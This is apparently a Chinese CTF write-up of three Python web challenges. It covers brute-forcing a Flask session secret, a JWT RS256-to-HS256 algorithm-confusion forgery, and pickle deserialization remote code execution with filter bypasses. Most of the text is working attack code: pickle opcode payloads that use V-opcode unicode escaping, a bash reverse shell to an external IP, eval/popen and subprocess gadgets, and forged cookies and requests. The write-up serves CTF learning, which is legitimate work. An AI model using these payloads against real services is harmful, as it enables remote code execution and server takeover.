美团CTF2022-easypickle 考点:pickle反序列化,V指令绕过字母
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import base64import picklefrom flask import Flask, sessionimport osimport randomapp = Flask(__name__) app.config['SECRET_KEY' ] = os.urandom(2 ).hex () @app.route('/' ) def hello_world (): if not session.get('user' ): session['user' ] = '' .join(random.choices("admin" , k=5 )) return 'Hello {}!' .format (session['user' ]) @app.route('/admin' ) def admin (): if session.get('user' ) != "admin" : return f"<script>alert('Access Denied');window.location.href='/'</script>" else : try : a = base64.b64decode(session.get('ser_data' )).replace(b"builtin" , b"BuIltIn" ).replace(b"os" , b"Os" ).replace(b"bytes" , b"Bytes" ) if b'R' in a or b'i' in a or b'o' in a or b'b' in a: raise pickle.UnpicklingError("R i o b is forbidden" ) pickle.loads(base64.b64decode(session.get('ser_data' ))) return "ok" except : return "error!" if __name__ == '__main__' : app.run(host='0.0.0.0' , port=8888 )
首先爆破jwt的sign
1 2 3 4 5 6 import osfile_path='./key2.txt' with open (file_path, 'w' ) as f: for i in range (1 ,99999 ): key = os.urandom(2 ).hex () f.write("\"{}\"\n" .format (key))
在当前目录生成key2.txt,其中有99999个不同的4字符字符串
1 2 3 4 5 6 格式: flask-unsign --unsign --cookie "xxx" --wordlist "" flask-unsign --unsign --cookie "eyJ1c2VyIjoiYW5hZGQifQ.ac0SKw.zevd2W7NNraddZAnkV0xp0UcvPg" --wordlist "C:\Users\lilyzero207\Desktop\pickle\key2.txt" 得到4eed
伪造格式:
1 flask-unsign --sign --cookie "{'username':'admin','is_admin':True}" --secret 'your_secret_key'
pickle构造:
1 2 3 4 5 try : a = base64.b64decode(session.get('ser_data' )).replace(b"builtin" , b"BuIltIn" ).replace(b"os" , b"Os" ).replace(b"bytes" , b"Bytes" ) if b'R' in a or b'i' in a or b'o' in a or b'b' in a: raise pickle.UnpicklingError("R i o b is forbidden" ) pickle.loads(base64.b64decode(session.get('ser_data' )))
session中存在ser_data,base64解码后会对其中一些内容进行替换,
如果还存在R i o b就waf
一个常规的构造:
1 2 3 4 5 6 7 一个典中典的 import pickleopcode=b'''(cos system S'whoami' o.' pickle.loads(opcode)
这里因为os会被识别并且置换为Os
cos不用变
最后的o.可以处理为os.绕过
无论命令执行还是反弹shell都会利用到其中的字母
于是想到V这个指令可以处理unicode编码
开新进程:
Syntax: bash -c 'command_string' [arg0 arg1 arg2 ...]
bash -c “bash -i >& /dev/tcp/47.109.70.144/2333 0>&1”
将其
网站:https://www.mklab.cn/utils/unicode
编码,反弹shell
1 2 3 4 5 6 7 8 9 10 11 import pickleimport base64opcode= b"""(S'key1' S'val1' dS'vul' (cos system V\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0022\u0062\u0061\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0034\u0037\u002e\u0031\u0030\u0039\u002e\u0037\u0030\u002e\u0031\u0034\u0034\u002f\u0032\u0033\u0033\u0033\u0020\u0030\u003e\u0026\u0031\u0022 os.""" print (base64.b64encode(opcode).decode())
最后:
1 flask-unsign --sign --cookie "{'user':'admin','ser_data':'KFMna2V5MScKUyd2YWwxJwpkUyd2dWwnCihjb3MKc3lzdGVtClZcdTAwNjJcdTAwNjFcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMmRcdTAwNjNcdTAwMjBcdTAwMjJcdTAwNjJcdTAwNjFcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMmRcdTAwNjlcdTAwMjBcdTAwM2VcdTAwMjZcdTAwMjBcdTAwMmZcdTAwNjRcdTAwNjVcdTAwNzZcdTAwMmZcdTAwNzRcdTAwNjNcdTAwNzBcdTAwMmZcdTAwMzRcdTAwMzdcdTAwMmVcdTAwMzFcdTAwMzBcdTAwMzlcdTAwMmVcdTAwMzdcdTAwMzBcdTAwMmVcdTAwMzFcdTAwMzRcdTAwMzRcdTAwMmZcdTAwMzJcdTAwMzNcdTAwMzNcdTAwMzNcdTAwMjBcdTAwMzBcdTAwM2VcdTAwMjZcdTAwMzFcdTAwMjIKb3Mu'}" --secret "4eed"
然后
1 2 3 4 5 6 7 8 9 10 GET /admin HTTP/1.1 Host : 8888-c5518072-a0b6-48e6-8106-97a3e771208e.challenge.ctfplus.cnCache-Control : max-age=0Accept-Language : zh-CN,zh;q=0.9Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding : gzip, deflate, brCookie : session=.eJyVkb0OgjAUhd-lsxPExU1JMNK0AypEFlO5JlILMQqp1vjuotySFHVw-nrPub_pnTSX_ZlMiICyqMiItNEWRC1aiYasEl4yZsucrm_gbVJ9jfTp-HpDqqugOMidz2juKwPzpA5UlsNqqrmMkGFHwzE-vMnkrGMZo85dva__t49ydS_BOBvk2z1tXYL9M9c37n7cuPUMfWYAdZxnQiTmGzXwwfU_6mKX_bwIyb_T3md-3G_7ywVt_60hjycxl7Wg.acz2nA.cnFiMRu6Pj6uK91H7f8-5MVfiHAConnection : keep-alive
在vps弹到shell,命令执行即可
极客大挑战2024-jwt_pickle 考点:算法混淆攻击+pickle反序列化getshell
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 import base64import hashlibimport randomimport stringfrom flask import Flask,request,render_template,redirectimport jwtimport pickleapp = Flask(__name__,static_folder="static" ,template_folder="templates" ) privateKey=open ("./private.pem" ,"rb" ).read() publicKey=open ("./public.pem" ,"rb" ).read() characters = string.ascii_letters + string.digits + string.punctuation adminPassword = '' .join(random.choice(characters) for i in range (18 )) user_list={"admin" :adminPassword} @app.route("/register" ,methods=["GET" ,"POST" ] ) def register (): if request.method=="GET" : return render_template("register.html" ) elif request.method=="POST" : username=request.form.get("username" ) password=request.form.get("password" ) if (username==None )|(password==None )|(username in user_list): return "error" user_list[username]=password return "OK" @app.route("/login" ,methods=["GET" ,"POST" ] ) def login (): if request.method=="GET" : return render_template("login.html" ) elif request.method=="POST" : username = request.form.get("username" ) password = request.form.get("password" ) if (username == None ) | (password == None ): return "error" if username not in user_list: return "please register first" if user_list[username] !=password: return "your password is not right" ss={"username" :username,"password" :hashlib.md5(password.encode()).hexdigest(),"is_admin" :False } if username=="admin" : ss["is_admin" ]=True ss.update(introduction=base64.b64encode(pickle.dumps("1ou_Kn0w_80w_to_b3c0m3_4dm1n?" )).decode()) token=jwt.encode(ss,privateKey,algorithm='RS256' ) return "OK" ,200 ,{"Set-Cookie" :"Token=" +token.decode()} @app.route("/admin" ,methods=["GET" ] ) def admin (): token=request.headers.get("Cookie" )[6 :] print (token) if token ==None : redirect("login" ) try : real= jwt.decode(token, publicKey, algorithms=['HS256' , 'RS256' ]) except Exception as e: print (e) return "error" username = real["username" ] password = real["password" ] is_admin = real["is_admin" ] if password != hashlib.md5(user_list[username].encode()).hexdigest(): return "Hacker!" if is_admin: serial_S = base64.b64decode(real["introduction" ]) introduction=pickle.loads(serial_S) return f"Welcome!!!,{username} ,introduction: {introduction} " else : return f"{username} ,you don't have enough permission in here" @app.route("/" ,methods=["GET" ] ) def jump (): return redirect("login" ) if __name__ == "__main__" : app.run(debug=False ,host="0.0.0.0" ,port=80 )
首先注册两个用户得到2个不同token
1 2 3 4 5 6 2 2 Token = eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IjIiLCJwYXNzd29yZCI6ImM4MWU3MjhkOWQ0YzJmNjM2ZjA2N2Y4OWNjMTQ4NjJjIiwiaXNfYWRtaW4iOmZhbHNlfQ.NrXDYdIIjIapYljl7OzLBkjhGU4AKhiI9eG7KuHEbXgcs1ol8mkLEJNrnU6xNhlHUaM6UoazW3z8xzsntyIxopHDvKsw8KJ5Rd_cYNNpAKmPCjmmDWCy0ncGHh_mFRgUxB5uS6S3UcRv6-dZ1Ymrr7D78BHAe9TgNjGxhUyCH6WCLkAo3DUS-tDMC7vMjUdVyipjevKIke4qQg2YlJuRbYVo9-Hd_V_TJL28As4NiXDN38beON7cer7KSfHQQCQ9rateXOQb7cWe--iYJOGAEOCziNo9zVjajiux3gwSHblDcsvKo26P2ZCh02b49tgzKP_VSDouCJ4wDUrty5mKUg1 1 Token = eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IjEiLCJwYXNzd29yZCI6ImM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliIiwiaXNfYWRtaW4iOmZhbHNlfQ.HLlGFnJcGt-C6_CCHh9FteC4BatbInaFpoGH1oDHKCYI6TT-b9wX4XKUQLxpNOo2qV0j8_WRbdah4fbLgAcXFVhayKApvnmBUV8v0jl1kN-aRCaP6dN-Awin9P5plOPYVGujLxCJn2iBxpG-f-W7_j9lNKF2LRo30rI2qyA4svz3KMPTMLwFPoVCSRd8sErf7-vRseoSBWWHL_yilj0LZ8e91ngzdcSXjkGskLQYcodsYL2EQ63ZWfLCxSXLmfO_w_VFmjr-BjjQ8xtEAbtRKeIv4Luuc8phMS1n5x-bIyHL4PhbZBlTw8XzM1chdR2tJZv7-lf9YPhvwhCnnXGhXw
然后利用:https://carsaid.github.io/burpsuite-learn/wsa/advanced/jwt/algorithm-confusion/#%E4%BB%8E%E7%8E%B0%E6%9C%89%E4%BB%A4%E7%89%8C%E4%B8%AD%E5%AF%BC%E5%87%BA%E5%85%AC%E9%92%A5
从已知的令牌中得到公钥:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 kali运行: 语法:docker run --rm -it portswigger/sig2n <token1> <token2> (base) ┌──(root㉿kali)-[~/Desktop] └─# docker run --rm -it portswigger/sig2n eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IjIiLCJwYXNzd29yZCI6ImM4MWU3MjhkOWQ0YzJmNjM2ZjA2N2Y4OWNjMTQ4NjJjIiwiaXNfYWRtaW4iOmZhbHNlfQ.NrXDYdIIjIapYljl7OzLBkjhGU4AKhiI9eG7KuHEbXgcs1ol8mkLEJNrnU6xNhlHUaM6UoazW3z8xzsntyIxopHDvKsw8KJ5Rd_cYNNpAKmPCjmmDWCy0ncGHh_mFRgUxB5uS6S3UcRv6-dZ1Ymrr7D78BHAe9TgNjGxhUyCH6WCLkAo3DUS-tDMC7vMjUdVyipjevKIke4qQg2YlJuRbYVo9-Hd_V_TJL28As4NiXDN38beON7cer7KSfHQQCQ9rateXOQb7cWe--iYJOGAEOCziNo9zVjajiux3gwSHblDcsvKo26P2ZCh02b49tgzKP_VSDouCJ4wDUrty5mKUg eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IjEiLCJwYXNzd29yZCI6ImM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliIiwiaXNfYWRtaW4iOmZhbHNlfQ.HLlGFnJcGt-C6_CCHh9FteC4BatbInaFpoGH1oDHKCYI6TT-b9wX4XKUQLxpNOo2qV0j8_WRbdah4fbLgAcXFVhayKApvnmBUV8v0jl1kN-aRCaP6dN-Awin9P5plOPYVGujLxCJn2iBxpG-f-W7_j9lNKF2LRo30rI2qyA4svz3KMPTMLwFPoVCSRd8sErf7-vRseoSBWWHL_yilj0LZ8e91ngzdcSXjkGskLQYcodsYL2EQ63ZWfLCxSXLmfO_w_VFmjr-BjjQ8xtEAbtRKeIv4Luuc8phMS1n5x-bIyHL4PhbZBlTw8XzM1chdR2tJZv7-lf9YPhvwhCnnXGhXw 得到: 返回 ound n with multiplier 1: Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFxQXNwK1RiTStMK0lqb2todGFkWgovSUpRUzhJYVVxM281MEUwa2dVYjhsQ0RzNUFBTWU3ZDNlNUpaT2o1RUIvdW1HWDVTN1FlVDFmc2NQRFY1V1pSCkd0aUJyUzVNSDE3bDR2TzgxYmNmM1RGMmZYdi9nZWtETk05NExiYUkvMC9OQmFyenRaZEpMKzdrejVEMXdGUDIKazZ5N2Y5SzUrYmVPYVdYb0N1RlYyazZXbkwvRXpZR3NOb2NSQnI5RHBjQkRvdUFUbS9tSVZLUTlqNnJGSXJCMwplV2U3WVN2ZDVXOUpxVDVXREZjL2NQUmdwcnZNSFBrYTBMeHQ1TFBPb3JBTDFTOXNnZHhRSUhzcWNRSXdSSEVUCmlxZUxZWktDR2hpMU16NVBjUW8wU2tNaWd2QXF4SUFCYWF3MzhTNVdnU0xqdTlUVzJHREF1b2tqMFdxOGFRUGUKVndJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg== Tampered JWT: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICIyIiwgInBhc3N3b3JkIjogImM4MWU3MjhkOWQ0YzJmNjM2ZjA2N2Y4OWNjMTQ4NjJjIiwgImlzX2FkbWluIjogZmFsc2UsICJleHAiOiAxNzc1MTI4NDUyfQ.0u0yotWbawhPFb_4xIyKpij11SlSC_nprPCZEx0YEDE Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQXFBc3ArVGJNK0wrSWpva2h0YWRaL0lKUVM4SWFVcTNvNTBFMGtnVWI4bENEczVBQU1lN2QKM2U1SlpPajVFQi91bUdYNVM3UWVUMWZzY1BEVjVXWlJHdGlCclM1TUgxN2w0dk84MWJjZjNURjJmWHYvZ2VrRApOTTk0TGJhSS8wL05CYXJ6dFpkSkwrN2t6NUQxd0ZQMms2eTdmOUs1K2JlT2FXWG9DdUZWMms2V25ML0V6WUdzCk5vY1JCcjlEcGNCRG91QVRtL21JVktROWo2ckZJckIzZVdlN1lTdmQ1VzlKcVQ1V0RGYy9jUFJncHJ2TUhQa2EKMEx4dDVMUE9vckFMMVM5c2dkeFFJSHNxY1FJd1JIRVRpcWVMWVpLQ0doaTFNejVQY1FvMFNrTWlndkFxeElBQgphYXczOFM1V2dTTGp1OVRXMkdEQXVva2owV3E4YVFQZVZ3SURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K Tampered JWT: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICIyIiwgInBhc3N3b3JkIjogImM4MWU3MjhkOWQ0YzJmNjM2ZjA2N2Y4OWNjMTQ4NjJjIiwgImlzX2FkbWluIjogZmFsc2UsICJleHAiOiAxNzc1MTI4NDUyfQ.xAFeFOTCUGtnYB2lP72bdERt_YG6qnVnGwOOviIybGI
随后尝试这两个生成的临时token
第一个返回error
第二个返回2,you don’t have enough permission in here
说明pkcs1 key密钥可利用
于是用这个构造:
1 2 3 4 5 6 7 { "username" : "2" , "password" : "c81e728d9d4c2f636f067f89cc14862c" , "is_admin" : true , "exp" : 1775128452 , "introduction" : "gASVUgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIw2X19pbXBvcnRfXygnb3MnKS5wb3BlbihyZXF1ZXN0LmFyZ3MuZ2V0KCdjbWQnKSkucmVhZCgplIWUUpQu" }
注意:sign勾选上base64可利用,
此处introduction的构造:
典中典的rce构造
1 2 3 4 5 6 7 8 import base64import pickleclass shell : def __reduce__ (self ): return (eval , ("__import__('os').popen(request.args.get('cmd')).read()" ,)) shell = shell() data = pickle.dumps(shell) print (base64.b64encode(data).decode())
然后在bp
1 2 3 4 5 6 7 8 9 10 GET /admin?cmd=cat%20/flag HTTP/1.1 Host : 80-df1fc38f-681c-46d1-a888-7a49c6fc1505.challenge.ctfplus.cnAccept-Language : zh-CN,zh;q=0.9Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding : gzip, deflate, brCookie : token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IjIiLCJwYXNzd29yZCI6ImM4MWU3MjhkOWQ0YzJmNjM2ZjA2N2Y4OWNjMTQ4NjJjIiwiaXNfYWRtaW4iOnRydWUsImV4cCI6MTc3NTEyODQ1MiwiaW50cm9kdWN0aW9uIjoiZ0FTVlVnQUFBQUFBQUFDTUNHSjFhV3gwYVc1emxJd0VaWFpoYkpTVGxJdzJYMTlwYlhCdmNuUmZYeWduYjNNbktTNXdiM0JsYmloeVpYRjFaWE4wTG1GeVozTXVaMlYwS0NkamJXUW5LU2t1Y21WaFpDZ3BsSVdVVXBRdSJ9.zkr375V-43O6u8eSnBQ1PSsf_J2BEBc3zGzhEndOyhsreferer : http://80-df1fc38f-681c-46d1-a888-7a49c6fc1505.challenge.ctfplus.cn/loginConnection : keep-alive
得到flag
1 Welcome !!!,2 ,introduction: SYC{3 f7cf3eb-8963 -4 e11-80 fb-832 f22647add}
0X25马哈鱼商店 考点:信息搜集,绕过b’’
抓包买pickle
1 2 3 4 5 pid=8&discount=0.000001 Location : /shop_successServer : Werkzeug/3.1.3 Python/3.12.11Set-Cookie : session=.eJyrVgrITM7OSY13zy9RsiopKk3VUUrLSUyPTwfx0xJzioECOYnFJfFJpZVKVlDVSjpKpcWpRUC-oVItAB71Fpc.ac5knw.oF6C18o4QmDd7QMAsmADDMeTnnE; HttpOnly; Path=/Vary : Cookie
1 2 3 4 5 6 7 8 Success ! You have purchased : Pickle Wow ! Now You Can Really Click Here To GetFlag . You Money Now : 9998.99999 Continue Shopping
点击here
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Use GET To Send Your Loved Data!!! BlackList = [b'' , b'' ] @app.route('/pickle_dsa' ) def pic (): data = request.args.get('data' ) if not data: return "Use GET To Send Your Loved Data" try : data = base64.b64decode(data) except Exception: return "Cao!!!" for b in BlackList: if b in data: return "卡了" p = pickle.loads(data) print (p) return f"<p>Vamos! {p} <p>
没看出来拦截的什么,问问
1 2 3 4 5 6 7 核心拦截对象:b'' 和 b'\x1e' 在 pickle 的底层指令集(Protocols)中,这两个字节码具有特殊含义: b'' (空字节 / STOP 指令): 实际上,这里的 b'' 在代码逻辑中很难被触发(因为它是空字符串),但如果黑名单指的是十六进制的 \x00,它通常用于某些协议的版本标识或数据截断。 b'\x1e' (即 \x1e / PROTO 指令): 这是 pickle 协议版本声明的指令。在 Python 3 中,默认生成的 pickle 数据通常会以 \x80(Protocol 标识)开头,紧接着就是版本号。\x1e 在较新版本的 pickle 协议中用于更复杂的内存管理或数据段。
拦截单字节 0x1E
解法1:同easypickle 1 2 3 4 5 6 7 8 9 10 import base64 opcode=b'''(S'key1' S'val1' dS'vul' (cbuiltins eval S'__import__(\'os\').system(\'cat /proc/self/environ\')' o.''' print (base64.b64encode(opcode).decode())
虽然没有出现“卡了”,但是这里只有一个:
Vamos! 0
于是尝试反弹shell
运用反弹shell成功:
1 2 3 4 5 6 7 8 9 10 11 import pickleimport base64opcode= b"""(S'key1' S'val1' dS'vul' (cos system V\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0022\u0062\u0061\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0034\u0037\u002e\u0031\u0030\u0039\u002e\u0037\u0030\u002e\u0031\u0034\u0034\u002f\u0032\u0033\u0033\u0033\u0020\u0030\u003e\u0026\u0031\u0022 os.""" print (base64.b64encode(opcode).decode())
然后监听弹到shell
命令执行cat /proc/self/environ
1 0xGame {You_Have_Learned_How_to_Buy_Pickle!}
解法2: 利用文本字节绕过单字节
单字节:
使用protocol=0 protocol=0 是文本协议,基本不会包含0x1E protocol=2,3 是二进制协议,会包含各种控制字符,容易触发 0x1E 检测
1 2 3 4 5 6 7 8 9 10 import pickleimport base64 class rce (object ): def __reduce__ (self ): return (eval , ("__import__('os').popen('env').read()" ,)) shell = (pickle.dumps(rce(), protocol=0 )) base64_shell = base64.b64encode(shell) print (base64_shell.decode())
解法3:* 说实话没看懂:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 题目使用pickle.loads()反序列化用户提供的数据,存在反序列化RCE漏洞: data = base64.b64decode(data) for b in BlackList: if b in data: return "卡了" p = pickle.loads(data) 关键技术 1. 使用STACK_GLOBAL绕过黑名单我们使用pickle protocol 4 的STACK_GLOBAL (opcode 0x93 ): b'\x80\x04' # PROTO 4 b'\x8c\nsubprocess' # SHORT_BINUNICODE 'subprocess' b'\x8c\tgetoutput' # SHORT_BINUNICODE 'getoutput' b'\x93' # STACK_GLOBAL - 从栈获取subprocess.getoutput 2. 使用subprocess.getoutput获取输出os.system ()只返回退出码,无法看到输出。使用subprocess.getoutput()可以获取命令的输出内容。 解题步骤 构造payload: 使用STACK_GLOBAL opcode构造pickle字节码 选择合适的函数: 使用subprocess.getoutput()而非os.system () 查找flag位置: 通过env | grep -i flag发现flag在环境变量中 payload = ( b'\x80\x04' # PROTO 4 b'\x8c\nsubprocess' # SHORT_BINUNICODE 'subprocess' (长度10 ) b'\x8c\tgetoutput' # SHORT_BINUNICODE 'getoutput' (长度9 ) b'\x93' # STACK_GLOBAL b'\x8c\x12env | grep -i flag' # 命令 (长度0x12 =18 ) b'\x85' # TUPLE1 b'R' # REDUCE (执行函数) b'.' # STOP )